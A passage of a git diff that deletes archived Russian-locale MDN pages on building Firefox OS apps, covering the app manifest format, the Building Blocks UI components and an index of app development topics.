<dd>Access to device APIs is key to creating many useful apps. Here is what's available and how to access them. - <div class="note"> - <p><strong>Note</strong>: you can use the <a href="https://github.com/mozilla-b2g/fxos-appgen">Firefox OS App Generator</a> to automatically generate and install FxOS apps with particular permissions, message-listeners, types, etc.</p> - </div> - </dd> - <dt><a href="/en-US/Firefox_OS/API_support_table">Firefox OS API support table</a></dt> - <dd>A list of the different APIs available to Firefox OS, and what support is available for them.</dd> - <dt><a href="/en-US/docs/Web/Apps/JavaScript_API" title="/en-US/docs/Web/Apps/JavaScript_API">App installation and management APIs</a></dt> - <dd>A reference for the installation and management APIs that control installation and other functions of installable Open Web Apps.</dd> - <dt><a href="/en-US/docs/Web/Apps/Platform-specific_details">Platform-specific details of app installation</a></dt> - <dd>There are some differences in how apps are installed across the various platforms that support Open Web Apps; this article will help you to understand them.</dd> - <dt><a href="/en-US/Apps/Build/installable_apps_for_Firefox_OS/CSP">CSP for open web apps</a></dt> - <dd>Unlike traditional web sites, privileged and certified apps enforce a CSP (content security policy) by default. This may cause quite a bit of existing code to break while porting and cause a significant amount of confusion if developers are unaware that the CSP exists. This article explains what the restrictions imposed by the open web app CSP are.</dd> -</dl> - -<h2 id="FAQ">FAQ</h2> - -<dl> - <dt><a href="/en-US/Apps/Build/installable_apps/App_manifest_FAQ" title="/en-US/docs/Web/Apps/FAQs/About_app_manifests">App manifests FAQ</a></dt> - <dd>Manifest frequently asked questions.</dd> -</dl> -</div> - -<dl> - <dt> </dt> -</dl> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html deleted file mode 100644 index 710f070384..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/манифест/index.html +++ /dev/null @@ -1,264 +0,0 @@ ---- -title: Манифест приложения -slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Манифест -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS/Manifest ---- -<div class="hidden">{{IncludeSubnav("/ru/docs/Archive/B2G_OS")}}</div> - -<div class="blockIndicator nonStandard"> -<p><strong>Нестандартно:</strong> Эта функция отсутствует в текущей версии стандартов W3C, но поддерживается на платформе Firefox OS. Хотя реализации могут измениться в будущем и не будут широко поддерживаться в разных браузерах, они подходят для использования в коде, предназначенном для приложений Firefox OS.</p> -</div> - -<div class="blockIndicator warning"> -<p><strong>Важно</strong>: Этот документ относится к формату манифеста Firefox OS, а не к спецификации манифеста W3C, разработанной для кросс-браузерных прогрессивных веб-приложений.</p> -</div> - -<div class="summary"> -<p>Манифест приложения Firefox OS предоставляет информацию о приложении (например, имя, автора, значок и описание) в виде простого документа, который может использоваться как пользователями, так и магазинами приложений. Самое главное, он содержит список веб-API, которые нужны вашему приложению. Это позволяет пользователям принимать обоснованные решения о приложениях перед их установкой. Это одна из ключевых вещей, которая отличает приложение Firefox OS от веб-сайта.</p> -</div> - -<div class="blockIndicator note"> -<p><strong>Примечание</strong>: Браузеры, которые обрабатывают манифесты и позволяют устанавливать приложения Firefox OS, включают веб-среду выполнения. Это включает в себя ОС Firefox и более новые версии Firefox для Android и Firefox для настольных компьютеров.</p> -</div> - -<div class="blockIndicator note"> -<p><strong>Примечание</strong>: Вы можете найти информацию о манефесте на MANIFEST FAQ</p> -</div> - -<p>В этом разделе подробно описываются критически важные детали, необходимые для создания и использования манифеста приложения.</p> - -<h3 class="h3first" id="Условные_обозначения_имя_файла_местоположение_и_формат">Условные обозначения: имя файла, местоположение и формат</h3> - -<ul> - <li>Имя файла: <code>manifest.webapp</code> (Вы должны использовать расширение <code>.webapp</code>)</li> - <li>Расположение: Ваше приложение в root-директории</li> - <li>Формат: <a href="/en-US/docs/Glossary/JSON">JSON</a></li> -</ul> - -<h3 id="Обработка_пути">Обработка пути</h3> - -<ul> - <li>Внутренние пути для манифестов, значков и т. д. должны быть абсолютными от источника приложения, а не от корня приложения. Например, если ваш манифест находится по адресу http://www.mysite.com/myapp/manifest.webapp, путь установки будет /myapp/manifest.webapp, а не /manifest.webapp.</li> - <li>Внутренние пути также должны обслуживаться из того же источника, что и приложение.</li> - <li>Внешние пути должны быть полностью квалифицированы. Например, если у вас есть упакованное приложение на Firefox Marketplace, но значок размещен на вашем собственном сервере, путь к значку будет http: //mywebapp/images/myicon.png.</li> -</ul> - -<h3 id="Требования_для_публикации_в_Firefox_Marketplace">Требования для публикации в Firefox Marketplace</h3> - -<p>Если вы захотите опубликовать свое приложение, то в вашем манифесте должно присутвовать:</p> - -<ul> - <li><code>name</code></li> - <li><code>description</code></li> - <li><code>launch_path</code></li> - <li><code>icons</code></li> - <li><code>developer</code></li> - <li><code>default_locale</code></li> - <li><code>type</code></li> -</ul> - -<h3 id="Требования_к_общим_открытым_веб-приложениям">Требования к общим открытым веб-приложениям</h3> - -<p>Если вы создаете общее размещенное приложение, которое не будет опубликовано в Firefox Marketplace, ваш манифест приложения должен содержать следующие поля:</p> - -<ul> - <li><code>name</code></li> - <li><code>description</code></li> - <li><code>icons</code> (1 icon of 128×128 обязательно, 1 icon of 512×512 рекомендуется)</li> -</ul> - -<div class="blockIndicator note"> -<p><strong>Примечание</strong>: Чтобы самостоятельно публиковать приложение со страницы, которой вы управляете, необходимо предоставить пользователям механизм запуска установки приложения. Обычно это делается путем вызова <code>navigator.Apps.install ()</code> при нажатии кнопки в случае размещенного приложения или <code>navigator.Apps.installPackage ()</code> в случае упакованного приложения.</p> -</div> - -<p>Если вы отправляете в Firefox Marketplace, манифест вашего приложения должен пройти проверку Marketplace.</p> - -<p>Попробуйте наш App Validator, который поможет вам выявить любые ошибки. Или вы можете использовать этот API для проверки манифеста вашего приложения.</p> - -<h2 id="Пример_манифеста">Пример манифеста</h2> - -<p>Ниже приведен минимальный манифест. Вы можете скопировать его в текстовый файл и заменить значения своей собственной информацией.</p> - -<pre class="brush: json">{ - "name": "My App", - "description": "My elevator pitch goes here", - "launch_path": "/index.html", - "icons": { - "512": "/img/icon-512.png", - "128": "/img/icon-128.png" - }, - "developer": { - "name": "Your name or organization", - "url": "http://your-homepage-here.org" - }, - "default_locale": "en", - <code class="language-json"><span class="key token">"chrome":</span> <span class="punctuation token">{</span> <span class="key token">"navigation":</span> <span class="keyword token">true</span> <span class="punctuation token">}</span></code> -}</pre> - -<h2 id="Обязательные_поля_манифеста_приложения">Обязательные поля манифеста приложения</h2> - -<p>Поля в вашем манифесте могут быть в любом порядке. Поля в манифесте, кроме перечисленных ниже, будут игнорироваться.</p> - -<h3 class="h3first" id="name"><code>name</code></h3> - -<div class="blockIndicator note"> -<p class="red"><strong>Примечание</strong>: Обязательно</p> -</div> - -<pre class="brush: json">"name": "The Open Web!"</pre> - -<h3 id="description"><code>description</code></h3> - -<div class="blockIndicator note"> -<p class="red"><strong>Примечание</strong>: Обязательно</p> -</div> - -<pre class="brush: json">"description": "Exciting Open Web App!"</pre> - -<h3 id="launch_path"><code>launch_path</code></h3> - -<div class="blockIndicator note"> -<p class="red"><strong>Примечание</strong>: Обязательно</p> -</div> - -<pre class="brush: json">"launch_path": "/index.html"</pre> - -<h3 id="icons"><code>icons</code></h3> - -<pre class="brush: json">"icons": { - "128": "/img/icon-1.png", - "512": "/img/icon-2.jpg" -} -</pre> - -<h3 id="developer"><code>developer</code></h3> - -<ul> - <li><code>name</code></li> - <li><code>url</code></li> -</ul> - -<pre class="brush: json">"developer": { - "name": "The Open Web!", - "url": "http://www.mywebapp.com" -}</pre> - -<h3 id="default_locale"><code>default_locale</code></h3> - -<pre class="brush: json">"default_locale": "en"</pre> - -<h3 id="type"><code>type</code></h3> - -<ul> - <li><code>web</code></li> - <li><code>privileged</code></li> - <li><code>certified</code></li> -</ul> - -<pre class="brush: json">"type": "certified" -</pre> - -<h3 id="chrome"><code>chrome</code></h3> - -<p>Настройка панели навигации</p> - -<p><img alt="chrome navigation" src="https://mdn.mozillademos.org/files/5843/nav-both2.png" style="height: 98px; width: 726px;"></p> - -<pre class="brush: json">"chrome": { "navigation": true }</pre> - -<h3 id="fullscreen"><code>fullscreen</code></h3> - -<p>Показывать приложение в полный экран</p> - -<pre class="brush: json">"fullscreen": "true"</pre> - -<h3 id="inputs"><code>inputs</code></h3> - -<p>Обозначение языков ввода в приложении-клавиатуре</p> - -<pre>"inputs": { - "en": { - "launch_path": "/index.html#en", - "name": "English", - "description": "English layout", - "types": ["url", "text"], - "locales": { - "en-US": { - "name": "English", - "description": "English layout" - }, - "zh-TW": { - "name": "英文", - "description": "英文鍵盤" - } - } - }, - "en-Dvorak": { - "launch_path": "/index.html#en-Dvorak", - "name": "English (Dvorak)", - "description": "Dvorak layout", - "types": ["url", "text"] - }, - "es": { - "launch_path": "/index.html#es", - "name": "Spanish", - "description": "Spanish layout", - "types": ["url", "text"] - }, - - ... - -} -</pre> - -<h3 id="orientation"><code>orientation</code></h3> - -<table class="table table-bordered"> - <thead> - <tr> - <th>value</th> - <th>App will stay locked to</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>portrait-primary</code></td> - <td><img alt="Phone upright in portrait orientation" src="https://mdn.mozillademos.org/files/8487/portrait-primary.png" style="height: 111px; width: 63px;"></td> - </tr> - <tr> - <td><code>portrait-secondary</code></td> - <td><img alt="Phone upsidedown in portrait orientation" src="https://mdn.mozillademos.org/files/8489/portrait-secondary.png" style="height: 111px; width: 63px;"></td> - </tr> - <tr> - <td><code>portrait</code><br> - If you declare this, there's no need to write<br> - <code>-primary</code> or <code>-secondary</code></td> - <td><img alt="Phone upright in portrait orientation" src="https://mdn.mozillademos.org/files/8487/portrait-primary.png" style="height: 111px; width: 63px;"><img alt="Phone upsidedown in portrait orientation" src="https://mdn.mozillademos.org/files/8489/portrait-secondary.png" style="height: 111px; width: 63px;"></td> - </tr> - <tr> - <td><code>landscape-primary</code></td> - <td><img alt="Phone lying on its left hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8483/landscape-primary.png" style="height: 63px; width: 113px;"></td> - </tr> - <tr> - <td><code>landscape-secondary</code></td> - <td><img alt="Phone lying on its right hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8485/landscape-secondary.png" style="height: 63px; width: 113px;"></td> - </tr> - <tr> - <td><code>landscape</code><br> - If you declare this, there's no need to write<br> - <code>-primary</code> or <code>-secondary</code></td> - <td> - <p><img alt="Phone lying on its left hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8483/landscape-primary.png" style="height: 63px; width: 113px;"></p> - - <p><img alt="Phone lying on its right hand side in landscape orientation" src="https://mdn.mozillademos.org/files/8485/landscape-secondary.png" style="height: 63px; width: 113px;"></p> - </td> - </tr> - </tbody> -</table> - -<pre>"orientation": [ "landscape-primary" ]</pre> - -<h3 id="origin"><code>origin</code></h3> - -<pre>"origin": "app://mywebapp.com" -</pre> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html deleted file mode 100644 index 26876bbab8..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Firefox OS Building Blocks -slug: Archive/B2G_OS/Firefox_OS_apps/Building_blocks -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks ---- -<section class="Quick_links" id="Quick_Links"> - -<ol> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting B2G OS</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li> - </ol> - </li> - <li data-default-state="closed"><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia</a> - <ol> - <li><strong><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li> - - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li> - </ol> - </li> - <li><a href="/en-US/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li> -</ol> -</section> - -<div class="summary"> -<p>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</p> -</div> - -<h2 id="Using_the_Firefox_OS_Building_Blocks">Using the Firefox OS Building Blocks</h2> - -<p>The code for the Firefox OS Building Blocks can be found in the <a href="https://github.com/mozilla-b2g/gaia">Gaia Github repo</a> under <a href="https://github.com/mozilla-b2g/gaia/tree/master/shared/style">shared/style</a>. Here, you can find a CSS file that contains the CSS for that particular Building Block, and a sub directory containing the HTML fragments and image assets. If you are creating your own standalone Web app, you can simply copy the CSS, HTML and image asset files across into your own project; if your app is intended to be installed on Firefox OS only (or you want to use these features only when the app is being used on Firefox OS), then you can link to the versions available inside Gaia.</p> - -<p>The pages for the individual Building Block implementations can be found under the pages for each building block — see next section. These contain instructions on how to implement each one.</p> - -<div class="note"> -<p><strong>Note</strong>: The version 2.0 building block code is used in Firefox OS releases 2.0 through 2.2. Version 2.3 sees an update, with the building blocks being reimplemented using <a href="/en-US/docs/Web/Web_Components">Web components</a> — these provide the same functionality, but implemented in a much more powerful, flexible way. You'll see 2.3 pages appear underneath the main building block pages covering these Web components as soon as the information is available.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: We also have an old guide covering the <a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">v1.x building blocks</a> used in older versions of Firefox OS. This is mainly for legacy information.</p> -</div> - -<h2 id="Web_components_preliminary_setup">Web components preliminary setup</h2> - -<p>This section details the preliminary setup needed to use Gaia Web components.</p> - -<h3 id="Web_components_browser_support">Web components browser support</h3> - -<p>To use <a href="https://github.com/gaia-components">Gaia Web components</a> at all, you need to run them using a browser that supports Web components. The state of support is as follows:</p> - -<ul> - <li>Firefox: Supported since Firefox 23 (33 on Android), but preffed off. To enable Web components, go to <code>about:config</code> and enable the <code>dom.webcomponents.enabled</code> pref.</li> - <li>Chrome: Supported since Chrome 33 (39 on Android).</li> - <li>Opera: Supported since Opera 20 (24 on Android).</li> - <li>Android browser: Supported since 4.4.4.</li> - <li>Safari/iOS Mobile and IE/IE mobile: Nope.</li> -</ul> - -<p>Web components are supported in Firefox OS from v2.1 onwards, although most of them weren't actually implemented until v2.3. Be aware also that currently Web components won't work for Firefox OS apps below internal (certified) level. This restriction should be lessened in the future.</p> - -<div class="note"> -<p><strong>Note</strong>: If your app is certified, the components will just work. You don't need to set a specific manifest permission.</p> -</div> - -<h3 id="Web_components_installation_notes">Web components installation notes</h3> - -<p>Gaia Web components are installed in your app using the <a href="http://bower.io/">Bower</a> package manager. To install this, you first need <a href="http://nodejs.org/">Node.js/npm</a> and <a href="http://www.git-scm.com/">Git</a> installed. Once they are installed you can install Bower with</p> - -<pre class="brush: bash">npm install -g bower</pre> - -<p>At this point you could also install the Gaia Fira Sans font that Firefox OS uses in your app , with the following command:</p> - -<pre class="brush: bash">bower install gaia-components/gaia-fonts</pre> - -<p>You can then make use of the font by including the following in your head (along with a <code>font-family</code> of <code>FiraSans</code>):</p> - -<pre class="brush: html"><link rel="stylesheet" type="text/css" href="bower_components/gaia-fonts/style.css"></link></pre> - -<h2 id="Firefox_OS_Building_Blocks">Firefox OS Building Blocks</h2> - -<div class="column-container"> -<div class="column-half"> -<dl> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Action_menu">Action menu</a></dt> - <dd>An action menu presents a list of actions, related to the app's content, from which the user may make a selection.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Banners">Banners</a></dt> - <dd>Banners (Status, in older versions of Firefox OS) provide information to the user in a transitory fashion, typically to confirm an action or to alert the user to a system event.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Buttons">Buttons</a></dt> - <dd>Buttons are used to perform explicit actions. Buttons may be text or images.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Context_menu">Context menu</a></dt> - <dd>Accessed via a tap and hold gesture (sometimes called a <em>long press</em>), the Context Menu (called the Object Menu in older versions of Firefox OS) allows users to perform actions on objects without having to leave their current view.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Dialog">Dialog</a></dt> - <dd>A Dialog (Confirm, in older versions of Firefox OS) provides the user with some important information, asks the user to take or confirm an action, or allows the user to make a choice or enter some information.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Drawer">Drawer</a></dt> - <dd>The drawer is a scalable way for users to navigate between views or filter views. The drawer can also include links to app settings or other tools.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Header">Header</a></dt> - <dd>A header is a dedicated space at the top of the screen, most often used to display the view title. It can also include navigation, action buttons and other controls.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Input_area">Input area</a></dt> - <dd>An input area is a data entry field, and can be as simple as a text only entry field, or as complex as a multipart entry field with text entry, value selections, and buttons.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Layout">Layout</a></dt> - <dd>The Layout utility will help you to create common layout structures for your Firefox OS apps. Note that Layout is only available in Firefox OS 2.1 and above.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/List_items">List items</a></dt> - <dd>List items are typically used to navigate to a new screen, or to display information or controls.</dd> -</dl> -</div> - -<div class="column-half"> -<dl> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Picker">Picker</a></dt> - <dd>The Picker is designed to select a group of items as attachments for messaging and email.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Progress_and_activity">Progress and activity</a></dt> - <dd>Progress and activity indicators provide the user with visual feedback that a process (such as a resource loading) is active.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Scrolling">Scrolling</a></dt> - <dd>Scrolling areas allow the user to move text and/or images across the device's display.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Search">Search</a></dt> - <dd>Search is used to filter a list or find context-specific content.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Slider">Slider</a></dt> - <dd>A Slider (which was called Seekbar in older Firefox OS versions) is used to select a value from a continuous or discrete range of values by dragging the handle.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Select_mode">Select mode</a></dt> - <dd>Select Mode (which was called Edit Mode in older Firefox OS versions) is designed to select and perform actions on items.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Subheader">Subheader</a></dt> - <dd>Subheaders are used to describe a subsection of content.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Switches">Switches</a></dt> - <dd>Switches (such as checkboxes, etc.) allow users to activate and deactivate items. Switches are also used to select items within a list.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Tab_Filter">Tab/Filter</a></dt> - <dd>A Tab/Filter gives the user a way to easily switch between views or to filter a set of data.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Toolbars">Toolbars</a></dt> - <dd>Toolbars contain actions, indicators and navigation elements associated with the current view.</dd> - <dt><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/Value_selector">Value selector</a></dt> - <dd>Value Selectors let the user choose from among a list of possible values.</dd> -</dl> -</div> -</div> - -<div class="note"> -<p><strong>Note</strong>: For a detailed guide to the design pattern followed by the building blocks when the Arabic locale (bidirectional) is selected, read <a href="/en-US/Apps/Design/Firefox_OS_in_Arabic">Firefox OS in Arabic</a>.</p> -</div> - -<h2 id="Cross_browser_CSS">Cross browser CSS</h2> - -<p>Arnau March wrote a CSS file called <a href="https://github.com/mdn/gaia-2.0-bb/blob/gh-pages/cross_browser_css/cross_browser.css">cross browser CSS</a>, containing rules to allow Firefox 2.0 building blocks to render properly across different browsers (ie 9, Firefox 18, Chrome 24, Safari 5.1.) If you want to write hosted apps that look ok across different browsers, include this CSS in your project.</p> - -<h2 id="Browse_Firefox_OS_Building_Block_implementations_by_version">Browse Firefox OS Building Block implementations by version</h2> - -<p>The pages below list links to pages covering the Firefox OS Building Block implementations as they appear in different versions of Firefox OS.</p> - -<ul> - <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.3">Firefox OS 2.3 Web components</a></li> - <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/2.0">Firefox OS 2.0 building blocks</a> (covers Firefox OS 2.0–2.2.)</li> - <li><a href="/en-US/Apps/Design/Firefox_OS_building_blocks/1.x">Firefox OS 1.x building blocks</a> (covers older versions of Firefox OS.)</li> -</ul> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/index.html deleted file mode 100644 index 370236dd14..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Firefox OS apps -slug: Archive/B2G_OS/Firefox_OS_apps -tags: - - Apps - - Building - - Components - - Firefox OS - - Installing - - NeedsTranslation - - TopicStub - - device APIs -translation_of: Archive/B2G_OS/Firefox_OS_apps ---- -<p class="summary">This section of the Firefox OS docs covers the specific techniques required — and available tools — for building Firefox OS apps. You'll find a number of details below, from Firefox OS building blocks/web components, to device APIs and App installation.</p> - -<h2 id="Building_Firefox_OS_apps">Building Firefox OS apps</h2> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></dt> - <dd>Firefox OS/Firefox platform app specifics, including App installation and management APIs, manifest files, packaged and hosted apps, handling API permissions.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Localization">Localization</a></dt> - <dd>This set of articles provides information for developers wishing to provide localized versions of their apps.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Performance">Performance</a></dt> - <dd>This page lists performance-related topics specific to Firefox OS.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_Accounts_on_Firefox_OS">Firefox Accounts on Firefox OS</a></dt> - <dd>This article provides an overview of using <a href="/en-US/docs/Mozilla/Tech/Firefox_Accounts">Firefox Accounts</a> in Firefox OS.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Reference_apps">Reference apps</a></dt> - <dd>This page lists a number of sample apps we've put together for you to download, install, play with and learn from. Have fun!</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Screencast_series:_App_Basics_for_Firefox_OS">Screencast series: App Basics for Firefox OS</a></dt> - <dd>In this collection of short videos, developers from Mozilla and Telenor explain in a few steps how you can get started with building applications for Firefox OS.</dd> -</dl> - -<h2 id="Building_blocks">Building blocks</h2> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Building_blocks">Building Blocks</a></dt> - <dd>The Firefox OS Building Blocks are reusable UI components (also called 'common controls') that reflect OS-wide design patterns. Building Blocks are used to create the interfaces of all <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Gaia">Gaia</a> default apps. You are free to make use of these components in your own Firefox OS apps, or general Web apps.</dd> -</dl> - -<h2 id="Styleguides">Styleguides</h2> - -<dl> - <dt><a href="http://www.mozilla.org/en-US/styleguide/products/firefox-os/">Firefox OS Visual styleguide</a></dt> - <dd>Our style guide for Firefox OS visual design, covering colours, typeface, backgrounds, app icons, and the design of specific UI elements.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Copy_styleguide">Firefox OS Copy styleguide</a></dt> - <dd>This guide outlines the rules we follow for writing Firefox OS app copy, but can be used as a general guide to writing good copy for any app interfaces.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_in_Arabic">Firefox OS in Arabic</a></dt> - <dd>A guide to the specific UX design implementation Firefox OS has in place for dealing with Arabic (and other RTL languages.)</dd> -</dl> - -<h2 id="Assets">Assets</h2> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Design_asset_library">Firefox OS design asset library</a></dt> - <dd>In this section you'll find design assets, artwork, graphic templates, fonts and other materials that will be helpful as you design Firefox OS/Gaia apps.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Icon_font">Firefox OS icon font</a></dt> - <dd>Firefox OS has its own icon font set available: this article explains how to use it in your own apps.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Transitions">Firefox OS transitions</a></dt> - <dd>A reference to some of the transitions used in Firefox OS to move between different states in apps, including animated GIFs demonstrating the animations used, plus code samples to show the CSS animation code needed to implement these animations.</dd> -</dl> - -<h2 id="References">References</h2> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_device_APIs">Firefox OS device APIs</a></dt> - <dd>This article provides a list of pages covering those APIs, as well as the <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest">app manifest</a> permissions for each one.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Firefox_OS_app_tools">Firefox OS app tools</a></dt> - <dd>This page provides a list of useful tools, libraries, examples, etc. that are useful for Firefox OS app developers, whether you want a code template to copy, or need help with adding a specific feature to your Firefox OS app.</dd> -</dl> - -<h2 id="Other_app_topics">Other app topics</h2> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/Porting_Chrome_apps">Porting Chrome apps to Firefox OS Apps</a></dt> - <dd>This article discusses the differences between Chrome apps and Firefox OS Apps, and how you can convert between the two.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_apps/App_development_FAQ">App development FAQ</a></dt> - <dd>This FAQ is a compilation of answers to common app development questions.</dd> -</dl> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Marketplace">Firefox Marketplace</a></li> -</ul> diff --git a/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html b/files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html deleted file mode 100644 index cc6a25c61d..0000000000 --- 